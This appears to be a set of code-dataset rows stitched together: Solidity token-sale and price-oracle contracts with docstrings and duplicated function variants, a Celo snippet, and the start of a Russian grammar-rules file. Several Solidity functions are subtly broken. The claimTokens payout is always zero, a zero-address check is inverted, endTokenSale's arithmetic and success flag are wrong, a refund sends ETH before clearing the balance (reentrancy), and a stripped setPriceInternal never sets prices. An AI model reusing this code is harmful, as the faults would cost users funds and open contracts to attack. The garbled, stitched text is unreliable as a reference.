IERC20(tokenSaleInfo.contractAddress).transfer(tokenSaleInfo.receiveAddress, tokenSaleInfo.tokenAmount);
}
burnPool.swapETHForRPT();
}
/**
* @dev Buys tokens from the token sale from the function caller. A tax is applied here based on the rptTax.
* ETH tax is sent to the burn pool which can be used to market buy RPT. This is nonrefundable
*
* Prevents users from buying in if the hardcap is met, or if the sale is expired.
*
* contractIndex: index of the token sale. See tokenSales variable
*
*/
function buyTokens(uint256 contractIndex) external payable nonReentrant{
require(msg.value != 0, "buyTokens: msg.value is 0");
uint256 weiAmount = msg.value;
uint256 weiAmountTax = weiAmount.mul(rptTax).div(100);
SaleInfo storage tokenSaleInfo = tokenSales[contractIndex];
// make sure this sale exists
require(tokenSales.length > contractIndex, "buyTokens: no token sale for this index");
// make sure we are not raising too much ETH
// we can only raise this much eth
uint256 hardcapETH = tokenSaleInfo.tokenAmount.mul(100 - tokenSaleInfo.liquidityLockPercent).div(100);
require(hardcapETH >= tokenSaleInfo.totalEth.add(weiAmount.sub(weiAmountTax)), "buyTokens: Sale has reached hardcap");
// make sure this sale is not over
require(tokenSaleInfo.timestampEndSec > block.timestamp && tokenSaleInfo.isEnded == false, "buyTokens: Token sale is over");
// log raised eth
tokenSaleInfo.ethContributed[msg.sender] = tokenSaleInfo.ethContributed[msg.sender].add(weiAmount.sub(weiAmountTax));
tokenSaleInfo.totalEth = tokenSaleInfo.totalEth.add(weiAmount.sub(weiAmountTax));
// increment buyer
tokenSaleInfo.counter++;
// log global raised amount
_weiRaised = _weiRaised.add(weiAmount);
// send eth to burn pool to marketbuy later
address(burnPool).transfer(weiAmountTax);
}
/**
* @dev Withdraws tokens the are bought from the sale if the message sender has any.
*
*
* contractIndex: index of the token sale. See tokenSales variable
*
*/
function claimTokens(uint256 contractIndex) external {
require(tokenSales.length > contractIndex, "claimTokens: no available token sale");
SaleInfo storage tokenSaleInfo = tokenSales[contractIndex];
require(tokenSaleInfo.isEnded == true, "claimTokens: token sale has not ended");
require(tokenSaleInfo.isSuccess == true, "claimTokens: token sale was not successful");
require(tokenSaleInfo.ethContributed[msg.sender] > 0, "claimTokens: address contributed nothing");
// prevent caller from re-entering
tokenSaleInfo.ethContributed[msg.sender] = 0;
uint256 tokenAmountToSend = tokenSaleInfo.ethContributed[msg.sender].mul(tokenSaleInfo.tokenRatio).div(1e18);
IERC20(tokenSaleInfo.contractAddress).transfer(address(msg.sender), tokenAmountToSend);
}
/**
* @dev If a sale was not successful, allows users to withdraw their ETH from the sale minus the tax amount
*
*
* contractIndex: index of the token sale. See tokenSales variable
*
*/
function withdrawRefundedETH(uint256 contractIndex) external {
require(tokenSales.length > contractIndex, "withdrawRefundedETH: no available token sale");
SaleInfo storage tokenSaleInfo = tokenSales[contractIndex];
// allow refunds when sale is over and was not a success
if(tokenSaleInfo.isEnded == true && tokenSaleInfo.isSuccess == false && tokenSaleInfo.ethContributed[msg.sender] > 0){
//refund eth back to msgOwner
address(msg.sender).transfer(tokenSaleInfo.ethContributed[msg.sender]);
// set eth contributed to this sale as 0
tokenSaleInfo.ethContributed[msg.sender] = 0;
}
}
function getTokenSalesOne() public view returns (address[] memory, address[] memory, uint256[] memory, uint256[] memory)
{
address[] memory contractAddresses = new address[](tokenSales.length);
address[] memory receiveAddresses = new address[](tokenSales.length);
uint256[] memory tokenAmounts = new uint256[](tokenSales.length);
uint256[] memory tokenRatios = new uint256[](tokenSales.length);
for (uint i = 0; i < tokenSales.length; i++) {
SaleInfo storage saleInfo = tokenSales[i];
contractAddresses[i] = saleInfo.contractAddress;
receiveAddresses[i] = saleInfo.receiveAddress;
tokenAmounts[i] = saleInfo.tokenAmount;
tokenRatios[i] = saleInfo.tokenRatio;
}
return (contractAddresses, receiveAddresses, tokenAmounts, tokenRatios);
}
function getTokenSalesTwo() public view returns (uint32[] memory, uint32[] memory, uint8[] memory, uint256[] memory)
{
uint32[] memory timestampStartSec = new uint32[](tokenSales.length);
uint32[] memory timestampEndSec = new uint32[](tokenSales.length);
uint8[] memory liquidityLockPercents = new uint8[](tokenSales.length);
uint256[] memory totalEths = new uint256[](tokenSales.length);
for (uint i = 0; i < tokenSales.length; i++) {
SaleInfo storage saleInfo = tokenSales[i];
timestampStartSec[i] = saleInfo.timestampStartSec;
timestampEndSec[i] = saleInfo.timestampEndSec;
liquidityLockPercents[i] = saleInfo.liquidityLockPercent;
totalEths[i] = saleInfo.totalEth;
}
return (timestampStartSec, timestampEndSec, liquidityLockPercents, totalEths);
}
function getTokenSalesThree() public view returns (bool[] memory, bool[] memory, uint256[] memory, uint32[] memory, uint256[] memory)
{
bool[] memory isEnded = new bool[](tokenSales.length);
bool[] memory isSuccess = new bool[](tokenSales.length);
uint256[] memory softcaps = new uint256[](tokenSales.length);
uint32[] memory counters = new uint32[](tokenSales.length);
uint256[] memory contributions = new uint256[](tokenSales.length);
for (uint i = 0; i < tokenSales.length; i++) {
SaleInfo storage saleInfo = tokenSales[i];
isEnded[i] = saleInfo.isEnded;
isSuccess[i] = saleInfo.isSuccess;
softcaps[i] = saleInfo.softcap;
counters[i] = saleInfo.counter;
contributions[i] = saleInfo.ethContributed[msg.sender];
}
return (isEnded, isSuccess, softcaps, counters, contributions);
}
function getContribution(uint contractIndex) public view returns (uint256){
require(tokenSales.length > contractIndex, "withdrawRefundedETH: no available token sale");
uint256 ethContributed = tokenSales[contractIndex].ethContributed[msg.sender];
return (ethContributed);
}
function createUniswapPairMainnet(address _contractAddress) internal returns (bool) {
require(_contractAddress == address(0), "CreateUniswapPairMainnet: cannot create uniswap pair for zero address");
address pairAddress = uniswapFactory.getPair(_contractAddress, address(uniswapRouterV2.WETH()));
// zero address means this pair has not been created, we need to create it
if(pairAddress == address(0)){
address tokenUniswapPair = uniswapFactory.createPair( address(uniswapRouterV2.WETH()), _contractAddress);
require(tokenUniswapPair != address(0), "createUniswapPairMainnet: issue creating pair");
}
return true;
}
function addLiquidity(address contractAddress, uint256 tokenAmount, uint256 ethAmount) internal {
// need to approve the token movement
IERC20(contractAddress).approve(address(uniswapRouterV2), tokenAmount);
// transfer lp tokens directly into burn pool
uniswapRouterV2.addLiquidityETH.value(ethAmount)(
contractAddress,
tokenAmount,
0,
0,
address(burnPool),
block.timestamp
);
}
}
|
* @dev Enabled ability for tokens to be withdrawn by buyers after the sale has ended successfully. contractIndex: index of the token sale. See tokenSales variable/require(tokenSaleInfo.receiveAddress == msg.sender, "endTokenSale: can only be called by funding owner"); flag that allows ends this funding round also allows token withdrawals and refunds if failed sale was a success if we hit the softcap send the ETH to the owner of the sale so they can pay for the uniswap pair create uniswap pair burn the rest of the tokens if there are any left
|
On a successful sale (softcap reached by time, or hardcap reached), this function:
1. Creates uniswap pair if not created.
2. adds token liquidity to uniswap pair.
3. burns tokens if hardcap was not met
function endTokenSale(uint256 contractIndex) external {
SaleInfo storage tokenSaleInfo = tokenSales[contractIndex];
uint256 hardcapETH = tokenSaleInfo.tokenAmount.mul(100 - tokenSaleInfo.liquidityLockPercent).div(100);
require(tokenSaleInfo.isEnded == false, "endTokenSale: token sale has ended already");
require(block.timestamp > tokenSaleInfo.timestampEndSec || hardcapETH <= tokenSaleInfo.totalEth, "endTokenSale: token sale is not over yet");
require(IERC20(tokenSaleInfo.contractAddress).balanceOf(address(this)) >= tokenSaleInfo.tokenAmount, "endTokenSale: contract does not have enough tokens");
tokenSaleInfo.isEnded = true;
if(tokenSaleInfo.totalEth >= tokenSaleInfo.softcap){
tokenSaleInfo.isSuccess = true;
uint256 saleEthToLock = tokenSaleInfo.totalEth.mul(tokenSaleInfo.liquidityLockPercent).div(100);
uint256 saleEthToUnlock = tokenSaleInfo.totalEth.mul(saleEthToLock);
uint256 tokenAmountToLock = saleEthToLock.mul(tokenSaleInfo.tokenRatio).div(1e18);
uint256 tokenAmountToUnlock = saleEthToUnlock.mul(tokenSaleInfo.tokenRatio).div(1e18);
tokenSaleInfo.receiveAddress.transfer(saleEthToUnlock);
createUniswapPairMainnet(tokenSaleInfo.contractAddress);
uint256 tokenAmountToBurn = tokenSaleInfo.tokenAmount.sub(tokenAmountToLock).sub(tokenAmountToUnlock);
if(tokenAmountToBurn > 0){
IERC20(tokenSaleInfo.contractAddress).transfer(address(burnPool), tokenAmountToBurn);
}
tokenSaleInfo.isSuccess = false;
}
burnPool.swapETHForRPT();
}
| 12,179,972
|
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import './_Exponential.sol';
import './_DSValue.sol';
pragma solidity ^0.5.10;
contract _PriceOracle is _Exponential {
/**
* @dev flag for whether or not contract is paused
*
*/
bool public paused;
uint public constant numBlocksPerPeriod = 240; // approximately 1 hour: 60 seconds/minute * 60 minutes/hour * 1 block/15 seconds
uint public constant maxSwingMantissa = (10 ** 17); // 0.1
/**
* @dev Mapping of asset addresses to DSValue price oracle contracts. The price contracts
* should be DSValue contracts whose value is the `eth:asset` price scaled by 1e18.
* That is, 1 eth is worth how much of the asset (e.g. 1 eth = 100 USD). We want
* to know the inverse, which is how much eth is one asset worth. This `asset:eth`
* is the multiplicative inverse (in that example, 1/100). The math is a bit trickier
* since we need to descale the number by 1e18, inverse, and then rescale the number.
* We perform this operation to return the `asset:eth` price for these reader assets.
*
* map: assetAddress -> DSValue price oracle
*/
mapping(address => _DSValue) public readers;
/**
* @dev Mapping of asset addresses and their corresponding price in terms of Eth-Wei
* which is simply equal to AssetWeiPrice * 10e18. For instance, if OMG token was
* worth 5x Eth then the price for OMG would be 5*10e18 or Exp({mantissa: 5000000000000000000}).
* map: assetAddress -> Exp
*/
mapping(address => Exp) public _assetPrices;
constructor(address _poster, address addr0, address reader0, address addr1, address reader1) public {
anchorAdmin = msg.sender;
poster = _poster;
maxSwing = Exp({mantissa : maxSwingMantissa});
// Make sure the assets are zero or different
assert(addr0 == address(0) || (addr0 != addr1));
if (addr0 != address(0)) {
assert(reader0 != address(0));
readers[addr0] = _DSValue(reader0);
} else {
assert(reader0 == address(0));
}
if (addr1 != address(0)) {
assert(reader1 != address(0));
readers[addr1] = _DSValue(reader1);
} else {
assert(reader1 == address(0));
}
}
/**
* @notice Do not pay into PriceOracle
*/
function() payable external {
revert();
}
enum OracleError {
NO_ERROR,
UNAUTHORIZED,
FAILED_TO_SET_PRICE
}
enum OracleFailureInfo {
ACCEPT_ANCHOR_ADMIN_PENDING_ANCHOR_ADMIN_CHECK,
SET_PAUSED_OWNER_CHECK,
SET_PENDING_ANCHOR_ADMIN_OWNER_CHECK,
SET_PENDING_ANCHOR_PERMISSION_CHECK,
SET_PRICE_CALCULATE_SWING,
SET_PRICE_CAP_TO_MAX,
SET_PRICE_MAX_SWING_CHECK,
SET_PRICE_NO_ANCHOR_PRICE_OR_INITIAL_PRICE_ZERO,
SET_PRICE_PERMISSION_CHECK,
SET_PRICE_ZERO_PRICE,
SET_PRICES_PARAM_VALIDATION,
SET_PRICE_IS_READER_ASSET
}
/**
* @dev `msgSender` is msg.sender; `error` corresponds to enum OracleError; `info` corresponds to enum OracleFailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event OracleFailure(address msgSender, address asset, uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the price oracle or a non-upgradeable collaborator
* Using Oracle in name because we already inherit a `fail` function from ErrorReporter.sol via Exponential.sol
*/
function failOracle(address asset, OracleError err, OracleFailureInfo info) internal returns (uint) {
emit OracleFailure(msg.sender, asset, uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev Use this when reporting an error from the money market. Give the money market result as `details`
*/
function failOracleWithDetails(address asset, OracleError err, OracleFailureInfo info, uint details) internal returns (uint) {
emit OracleFailure(msg.sender, asset, uint(err), uint(info), details);
return uint(err);
}
/**
* @dev An administrator who can set the pending anchor value for assets.
* Set in the constructor.
*/
address public anchorAdmin;
/**
* @dev pending anchor administrator for this contract.
*/
address public pendingAnchorAdmin;
/**
* @dev Address of the price poster.
* Set in the constructor.
*/
address public poster;
/**
* @dev maxSwing the maximum allowed percentage difference between a new price and the anchor's price
* Set only in the constructor
*/
Exp public maxSwing;
struct Anchor {
// floor(block.number / numBlocksPerPeriod) + 1
uint period;
// Price in ETH, scaled by 10**18
uint priceMantissa;
}
/**
* @dev anchors by asset
*/
mapping(address => Anchor) public anchors;
/**
* @dev pending anchor prices by asset
*/
mapping(address => uint) public pendingAnchors;
/**
* @dev emitted when a pending anchor is set
* @param asset Asset for which to set a pending anchor
* @param oldScaledPrice if an unused pending anchor was present, its value; otherwise 0.
* @param newScaledPrice the new scaled pending anchor price
*/
event NewPendingAnchor(address anchorAdmin, address asset, uint oldScaledPrice, uint newScaledPrice);
/**
* @notice provides ability to override the anchor price for an asset
* @dev Admin function to set the anchor price for an asset
* @param asset Asset for which to override the anchor price
* @param newScaledPrice New anchor price
* @return uint 0=success, otherwise a failure (see enum OracleError for details)
*/
function _setPendingAnchor(address asset, uint newScaledPrice) public returns (uint) {
// Check caller = anchorAdmin. Note: Deliberately not allowing admin. They can just change anchorAdmin if desired.
if (msg.sender != anchorAdmin) {
return failOracle(asset, OracleError.UNAUTHORIZED, OracleFailureInfo.SET_PENDING_ANCHOR_PERMISSION_CHECK);
}
uint oldScaledPrice = pendingAnchors[asset];
pendingAnchors[asset] = newScaledPrice;
emit NewPendingAnchor(msg.sender, asset, oldScaledPrice, newScaledPrice);
return uint(OracleError.NO_ERROR);
}
/**
* @dev emitted for all price changes
*/
event PricePosted(address asset, uint previousPriceMantissa, uint requestedPriceMantissa, uint newPriceMantissa);
/**
* @dev emitted if this contract successfully posts a capped-to-max price to the money market
*/
event CappedPricePosted(address asset, uint requestedPriceMantissa, uint anchorPriceMantissa, uint cappedPriceMantissa);
/**
* @dev emitted when admin either pauses or resumes the contract; newState is the resulting state
*/
event SetPaused(bool newState);
/**
* @dev emitted when pendingAnchorAdmin is changed
*/
event NewPendingAnchorAdmin(address oldPendingAnchorAdmin, address newPendingAnchorAdmin);
/**
* @dev emitted when pendingAnchorAdmin is accepted, which means anchor admin is updated
*/
event NewAnchorAdmin(address oldAnchorAdmin, address newAnchorAdmin);
/**
* @notice set `paused` to the specified state
* @dev Admin function to pause or resume the market
* @param requestedState value to assign to `paused`
* @return uint 0=success, otherwise a failure
*/
function _setPaused(bool requestedState) public returns (uint) {
// Check caller = anchorAdmin
if (msg.sender != anchorAdmin) {
return failOracle(address(0), OracleError.UNAUTHORIZED, OracleFailureInfo.SET_PAUSED_OWNER_CHECK);
}
paused = requestedState;
emit SetPaused(requestedState);
return uint(Error.NO_ERROR);
}
/**
* @notice Begins transfer of anchor admin rights. The newPendingAnchorAdmin must call `_acceptAnchorAdmin` to finalize the transfer.
* @dev Admin function to begin change of anchor admin. The newPendingAnchorAdmin must call `_acceptAnchorAdmin` to finalize the transfer.
* @param newPendingAnchorAdmin New pending anchor admin.
* @return uint 0=success, otherwise a failure
*
* TODO: Should we add a second arg to verify, like a checksum of `newAnchorAdmin` address?
*/
function _setPendingAnchorAdmin(address newPendingAnchorAdmin) public returns (uint) {
// Check caller = anchorAdmin
if (msg.sender != anchorAdmin) {
return failOracle(address(0), OracleError.UNAUTHORIZED, OracleFailureInfo.SET_PENDING_ANCHOR_ADMIN_OWNER_CHECK);
}
// save current value, if any, for inclusion in log
address oldPendingAnchorAdmin = pendingAnchorAdmin;
// Store pendingAdmin = newPendingAdmin
pendingAnchorAdmin = newPendingAnchorAdmin;
emit NewPendingAnchorAdmin(oldPendingAnchorAdmin, newPendingAnchorAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of anchor admin rights. msg.sender must be pendingAnchorAdmin
* @dev Admin function for pending anchor admin to accept role and update anchor admin
* @return uint 0=success, otherwise a failure
*/
function _acceptAnchorAdmin() public returns (uint) {
// Check caller = pendingAnchorAdmin
// msg.sender can't be zero
if (msg.sender != pendingAnchorAdmin) {
return failOracle(address(0), OracleError.UNAUTHORIZED, OracleFailureInfo.ACCEPT_ANCHOR_ADMIN_PENDING_ANCHOR_ADMIN_CHECK);
}
// Save current value for inclusion in log
address oldAnchorAdmin = anchorAdmin;
// Store admin = pendingAnchorAdmin
anchorAdmin = pendingAnchorAdmin;
// Clear the pending value
pendingAnchorAdmin = address(0);
emit NewAnchorAdmin(oldAnchorAdmin, msg.sender);
return uint(Error.NO_ERROR);
}
/**
* @notice retrieves price of an asset
* @dev function to get price for an asset
* @param asset Asset for which to get the price
* @return uint mantissa of asset price (scaled by 1e18) or zero if unset or contract paused
*/
function assetPrices(address asset) public view returns (uint) {
// Note: zero is treated by the money market as an invalid
// price and will cease operations with that asset
// when zero.
//
// We get the price as:
//
// 1. If the contract is paused, return 0.
// 2. If the asset is a reader asset:
// a. If the reader has a value set, invert it and return.
// b. Else, return 0.
// 3. Return price in `_assetPrices`, which may be zero.
if (paused) {
return 0;
} else {
if (address(readers[asset]) != address(0)) {
(bytes32 readValue, bool foundValue) = readers[asset].peek();
if (foundValue) {
(Error error, Exp memory invertedVal) = getExp(mantissaOne, uint256(readValue));
if (error != Error.NO_ERROR) {
return 0;
}
return invertedVal.mantissa;
} else {
return 0;
}
} else {
return _assetPrices[asset].mantissa;
}
}
}
/**
* @notice retrieves price of an asset
* @dev function to get price for an asset
* @param asset Asset for which to get the price
* @return uint mantissa of asset price (scaled by 1e18) or zero if unset or contract paused
*/
function getPrice(address asset) public view returns (uint) {
return assetPrices(asset);
}
struct SetPriceLocalVars {
Exp price;
Exp swing;
Exp anchorPrice;
uint anchorPeriod;
uint currentPeriod;
bool priceCapped;
uint cappingAnchorPriceMantissa;
uint pendingAnchorMantissa;
}
/**
* @notice entry point for updating prices
* @dev function to set price for an asset
* @param asset Asset for which to set the price
* @param requestedPriceMantissa requested new price, scaled by 10**18
* @return uint 0=success, otherwise a failure (see enum OracleError for details)
*/
function setPrice(address asset, uint requestedPriceMantissa) public returns (uint) {
// Fail when msg.sender is not poster
if (msg.sender != poster) {
return failOracle(asset, OracleError.UNAUTHORIZED, OracleFailureInfo.SET_PRICE_PERMISSION_CHECK);
}
return setPriceInternal(asset, requestedPriceMantissa);
}
function setPriceInternal(address asset, uint requestedPriceMantissa) internal returns (uint) {
// re-used for intermediate errors
Error err;
SetPriceLocalVars memory localVars;
// We add 1 for currentPeriod so that it can never be zero and there's no ambiguity about an unset value.
// (It can be a problem in tests with low block numbers.)
localVars.currentPeriod = (block.number / numBlocksPerPeriod) + 1;
localVars.pendingAnchorMantissa = pendingAnchors[asset];
localVars.price = Exp({mantissa : requestedPriceMantissa});
if (address(readers[asset]) != address(0)) {
return failOracle(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_IS_READER_ASSET);
}
if (localVars.pendingAnchorMantissa != 0) {
// let's explicitly set to 0 rather than relying on default of declaration
localVars.anchorPeriod = 0;
localVars.anchorPrice = Exp({mantissa : localVars.pendingAnchorMantissa});
// Verify movement is within max swing of pending anchor (currently: 10%)
(err, localVars.swing) = calculateSwing(localVars.anchorPrice, localVars.price);
if (err != Error.NO_ERROR) {
return failOracleWithDetails(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_CALCULATE_SWING, uint(err));
}
// Fail when swing > maxSwing
if (greaterThanExp(localVars.swing, maxSwing)) {
return failOracleWithDetails(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_MAX_SWING_CHECK, localVars.swing.mantissa);
}
} else {
localVars.anchorPeriod = anchors[asset].period;
localVars.anchorPrice = Exp({mantissa : anchors[asset].priceMantissa});
if (localVars.anchorPeriod != 0) {
(err, localVars.priceCapped, localVars.price) = capToMax(localVars.anchorPrice, localVars.price);
if (err != Error.NO_ERROR) {
return failOracleWithDetails(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_CAP_TO_MAX, uint(err));
}
if (localVars.priceCapped) {
// save for use in log
localVars.cappingAnchorPriceMantissa = localVars.anchorPrice.mantissa;
}
} else {
// Setting first price. Accept as is (already assigned above from requestedPriceMantissa) and use as anchor
localVars.anchorPrice = Exp({mantissa : requestedPriceMantissa});
}
}
// Fail if anchorPrice or price is zero.
// zero anchor represents an unexpected situation likely due to a problem in this contract
// zero price is more likely as the result of bad input from the caller of this function
if (isZeroExp(localVars.anchorPrice)) {
// If we get here price could also be zero, but it does not seem worthwhile to distinguish the 3rd case
return failOracle(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_NO_ANCHOR_PRICE_OR_INITIAL_PRICE_ZERO);
}
if (isZeroExp(localVars.price)) {
return failOracle(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_ZERO_PRICE);
}
// BEGIN SIDE EFFECTS
// Set pendingAnchor = Nothing
// Pending anchor is only used once.
if (pendingAnchors[asset] != 0) {
pendingAnchors[asset] = 0;
}
// If currentPeriod > anchorPeriod:
// Set anchors[asset] = (currentPeriod, price)
// The new anchor is if we're in a new period or we had a pending anchor, then we become the new anchor
if (localVars.currentPeriod > localVars.anchorPeriod) {
anchors[asset] = Anchor({period : localVars.currentPeriod, priceMantissa : localVars.price.mantissa});
}
uint previousPrice = _assetPrices[asset].mantissa;
setPriceStorageInternal(asset, localVars.price.mantissa);
emit PricePosted(asset, previousPrice, requestedPriceMantissa, localVars.price.mantissa);
if (localVars.priceCapped) {
// We have set a capped price. Log it so we can detect the situation and investigate.
emit CappedPricePosted(asset, requestedPriceMantissa, localVars.cappingAnchorPriceMantissa, localVars.price.mantissa);
}
return uint(OracleError.NO_ERROR);
}
// As a function to allow harness overrides
function setPriceStorageInternal(address asset, uint256 priceMantissa) internal {
_assetPrices[asset] = Exp({mantissa: priceMantissa});
}
// abs(price - anchorPrice) / anchorPrice
function calculateSwing(Exp memory anchorPrice, Exp memory price) pure internal returns (Error, Exp memory) {
Exp memory numerator;
Error err;
if (greaterThanExp(anchorPrice, price)) {
(err, numerator) = subExp(anchorPrice, price);
// can't underflow
assert(err == Error.NO_ERROR);
} else {
(err, numerator) = subExp(price, anchorPrice);
// Given greaterThan check above, price >= anchorPrice so can't underflow.
assert(err == Error.NO_ERROR);
}
return divExp(numerator, anchorPrice);
}
function capToMax(Exp memory anchorPrice, Exp memory price) view internal returns (Error, bool, Exp memory) {
Exp memory one = Exp({mantissa : mantissaOne});
Exp memory onePlusMaxSwing;
Exp memory oneMinusMaxSwing;
Exp memory max;
Exp memory min;
// re-used for intermediate errors
Error err;
(err, onePlusMaxSwing) = addExp(one, maxSwing);
if (err != Error.NO_ERROR) {
return (err, false, Exp({mantissa : 0}));
}
// max = anchorPrice * (1 + maxSwing)
(err, max) = mulExp(anchorPrice, onePlusMaxSwing);
if (err != Error.NO_ERROR) {
return (err, false, Exp({mantissa : 0}));
}
// If price > anchorPrice * (1 + maxSwing)
// Set price = anchorPrice * (1 + maxSwing)
if (greaterThanExp(price, max)) {
return (Error.NO_ERROR, true, max);
}
(err, oneMinusMaxSwing) = subExp(one, maxSwing);
if (err != Error.NO_ERROR) {
return (err, false, Exp({mantissa : 0}));
}
// min = anchorPrice * (1 - maxSwing)
(err, min) = mulExp(anchorPrice, oneMinusMaxSwing);
// We can't overflow here or we would have already overflowed above when calculating `max`
assert(err == Error.NO_ERROR);
// If price < anchorPrice * (1 - maxSwing)
// Set price = anchorPrice * (1 - maxSwing)
if (lessThanExp(price, min)) {
return (Error.NO_ERROR, true, min);
}
return (Error.NO_ERROR, false, price);
}
/**
* @notice entry point for updating multiple prices
* @dev function to set prices for a variable number of assets.
* @param assets a list of up to assets for which to set a price. required: 0 < assets.length == requestedPriceMantissas.length
* @param requestedPriceMantissas requested new prices for the assets, scaled by 10**18. required: 0 < assets.length == requestedPriceMantissas.length
* @return uint values in same order as inputs. For each: 0=success, otherwise a failure (see enum OracleError for details)
*/
function setPrices(address[] memory assets, uint[] memory requestedPriceMantissas) public returns (uint[] memory) {
uint numAssets = assets.length;
uint numPrices = requestedPriceMantissas.length;
uint[] memory result;
// Fail when msg.sender is not poster
if (msg.sender != poster) {
result = new uint[](1);
result[0] = failOracle(address(0), OracleError.UNAUTHORIZED, OracleFailureInfo.SET_PRICE_PERMISSION_CHECK);
return result;
}
if ((numAssets == 0) || (numPrices != numAssets)) {
result = new uint[](1);
result[0] = failOracle(address(0), OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICES_PARAM_VALIDATION);
return result;
}
result = new uint[](numAssets);
for (uint i = 0; i < numAssets; i++) {
result[i] = setPriceInternal(assets[i], requestedPriceMantissas[i]);
}
return result;
}
}
|
re-used for intermediate errors We add 1 for currentPeriod so that it can never be zero and there's no ambiguity about an unset value. (It can be a problem in tests with low block numbers.) let's explicitly set to 0 rather than relying on default of declaration Verify movement is within max swing of pending anchor (currently: 10%) Fail when swing > maxSwing save for use in log Fail if anchorPrice or price is zero. zero anchor represents an unexpected situation likely due to a problem in this contract zero price is more likely as the result of bad input from the caller of this function If we get here price could also be zero, but it does not seem worthwhile to distinguish the 3rd case Set pendingAnchor = Nothing Pending anchor is only used once. If currentPeriod > anchorPeriod: Set anchors[asset] = (currentPeriod, price) The new anchor is if we're in a new period or we had a pending anchor, then we become the new anchor We have set a capped price. Log it so we can detect the situation and investigate.
|
function setPriceInternal(address asset, uint requestedPriceMantissa) internal returns (uint) {
Error err;
SetPriceLocalVars memory localVars;
localVars.currentPeriod = (block.number / numBlocksPerPeriod) + 1;
localVars.pendingAnchorMantissa = pendingAnchors[asset];
if (address(readers[asset]) != address(0)) {
return failOracle(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_IS_READER_ASSET);
}
if (localVars.pendingAnchorMantissa != 0) {
localVars.anchorPeriod = 0;
(err, localVars.swing) = calculateSwing(localVars.anchorPrice, localVars.price);
if (err != Error.NO_ERROR) {
return failOracleWithDetails(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_CALCULATE_SWING, uint(err));
}
if (greaterThanExp(localVars.swing, maxSwing)) {
return failOracleWithDetails(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_MAX_SWING_CHECK, localVars.swing.mantissa);
}
localVars.anchorPeriod = anchors[asset].period;
if (localVars.anchorPeriod != 0) {
(err, localVars.priceCapped, localVars.price) = capToMax(localVars.anchorPrice, localVars.price);
if (err != Error.NO_ERROR) {
return failOracleWithDetails(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_CAP_TO_MAX, uint(err));
}
if (localVars.priceCapped) {
localVars.cappingAnchorPriceMantissa = localVars.anchorPrice.mantissa;
}
}
}
if (isZeroExp(localVars.anchorPrice)) {
return failOracle(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_NO_ANCHOR_PRICE_OR_INITIAL_PRICE_ZERO);
}
if (isZeroExp(localVars.price)) {
return failOracle(asset, OracleError.FAILED_TO_SET_PRICE, OracleFailureInfo.SET_PRICE_ZERO_PRICE);
}
if (pendingAnchors[asset] != 0) {
pendingAnchors[asset] = 0;
}
if (localVars.currentPeriod > localVars.anchorPeriod) {
}
uint previousPrice = _assetPrices[asset].mantissa;
setPriceStorageInternal(asset, localVars.price.mantissa);
emit PricePosted(asset, previousPrice, requestedPriceMantissa, localVars.price.mantissa);
if (localVars.priceCapped) {
emit CappedPricePosted(asset, requestedPriceMantissa, localVars.cappingAnchorPriceMantissa, localVars.price.mantissa);
}
return uint(OracleError.NO_ERROR);
}
| 1,836,791
|
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./full_match/44787/0x0913Ee6847C6225C836431B8bDC16172fb2a52Df/sources/home/boyd/git/keyko/celo-ubi-contract/contracts/UBIController.sol
|
* @notice Reconciles cUSD built up in reconciliation account and sends to pre-configured custodian/
|
function reconcile() external onlyOwner nonReentrant whenNotPaused {
reconciliationAccount.reconcile();
}
| 13,241,508
|
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// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
